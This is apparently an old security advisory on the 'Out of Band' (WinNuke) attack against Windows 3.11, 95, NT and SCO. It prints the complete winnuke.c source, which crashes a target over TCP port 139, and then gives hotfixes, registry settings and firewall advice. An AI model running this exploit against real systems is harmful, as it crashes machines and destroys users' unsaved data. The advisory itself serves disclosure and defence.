COMMAND
Out of Band
SYSTEMS AFFECTED
Win WfW 3.11, '95, NT, SCO
PROBLEM
When a Windows system receives a packet with the "URGENT" flag
set, it expects data will follow that flag. The exploit consists
of setting the URGENT flag, but not following it with data. The
port most susceptible is TCP Port 139, the Netbios Session
Service port. Although port 139 is the most commonly attacked
port, there is potential for successful attacks on other ports as
well. This attack is effective remotely or locally (it also
works on the machine it's executing from).
When Windows NT is successfully attacked, it crashes. The system
displays the "blue screen of death", and is not respondent.
Except for losing the contents of unsaved documents and files,
there are no long-lasting effects from this attack.
When Windows for Workgroups or Windows 95 is successfully
attacked, an application exception screen will be displayed.
This is a blue screen alerting the user that an application is
not responding. Any unsaved data will be lost, however there are
no other long-lasting effects from this attack.
Windows 3.11 for Workgroups crashes as well, if you use the
microsoft tcp/ip stack.
This attack also works against MS DNS on port 53 so no it is not
strictly port 139, but only if you have the OOB fix, but not the
DNS fix, your DNS can be killed.
/* winnuke.c - (05/07/97) By _eci */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#define dport 139 /* Attack port: 139 is what we want */
int x, s;
char *str = "Bye"; /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(-4);
}
printf("Connected to [%s:%d].\n",server,port);
return;
}
void main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <target>\n",argv[0]);
exit(0);
}
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(-1);
}
open_sock(s,argv[1],dport);
printf("Sending crash... ");
send(s,str,strlen(str),MSG_OOB);
usleep(100000);
printf("Done!\n");
close(s);
}
SOLUTION
If your Windows NT system has been successfully attacked, it must
be rebooted. The system operates normally once the system is
rebooted.
If your Windows for Workgroups or Windows 95 system has been
successfully attacked, follow the instructions on the Application
exception screen to close the applications not responding and
return to the desktop. The system will operate normally once you
have returned to the desktop. A reboot is not required, but
recommended.
The best and most conservative measure for preventing this and
similar attacks is to have a strong firewall in place. The
firewall can be configured to choose and authorize trusted hosts
to enter through the firewall. Additionally, this specific
exploit can be prevented by disabling Netbios services through
firewalls/routers. (Be aware that some versions of the exploit
have the potential to choose ports, and therefore may successfully
attack other ports).
Microsoft hotfix has been posted to the following Internet
location for NT 4.0:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP2/oob-fix
NOTE: Service pack 2 must be applied to Windows NT 4.0 prior to
applying this fix.
This hotfix has been posted to the following Internet location for
NT 3.51:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT351/hotfixes-postSP5/oob-fix
NOTE: Service pack 5 must be applied to Windows NT 3.51 prior to
applying this fix. Note also that SP3 doesn't fix entirely this.
This issue for Win '95 is resolved by the following updated files
for Windows 95 (all releases):
* Vtcp.386 version 4.00.0954 (dated 05/14/97) and later
* Vnbt.386 version 4.00.0959 (dated 05/15/97) and later
To do this, download the Vtcpupd.exe file (available for download
from the Microsoft Software Library).
Fix for windows 95 should go like this as well. Put this into a
file called oob_fix.reg:
'
REGEDIT4
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP]
"BSDUrgent"="0"
'
and double click on it. Or enter it by hand.. (you probably have
to create it). This fix is by Aaron Weintraub.
A similar fix seems to work for Windows for Workgroups with the MS
TCP/IP-32 kit. In SYSTEM.INI under [MSTCP], the line:
BSDUrgent=0
Seems to have the same effect.
Secant Computing Systems, Incorporated provided hot-fix for it:
Binding Configuration The following steps apply to version 4.0.
1. Go into Control Panel -> Network -> Bindings Tab
2. Drop down the list for "Show Bindings for:" and select "all
adapters"
3. Find the WAN Wrapper that says "Remote Access WAN Wrapper"
4. Expand it so you see WINS Client(TCP/IP)
5. Select the WINS Client(TCP/IP) and click the DISABLE button
6. Reboot System
Note: When you log into NT4, you will get a message window that
says certain services or drivers didn't start. This is ok and will
happen each time you reboot, but shouldn't happen if you log into
another account.
Although the hotfix and SP3 prevent the OOB attack caused by the
Win32/Unix source code describe at:
http://pobox.leidenuniv.nl/%7Eewit/winnuke/
the Mac binary also listed on that page appears to still be
capable of downing an NT 4.0 Workstation/Server even after
applying the hotfix and/or service pack 3. The obvious conclusion
is that Apple's Open Transport somehow sends a different packet
than most other TCP/IP implementations.
SCO releassed patches. Please refer to following document:
ftp://ftp.sco.com/SSE/sse010.ltr
As pointed out filtering at the ingres router for spoofed packets
will stop external attacks. You can also filter at the host level
if your OS supports it.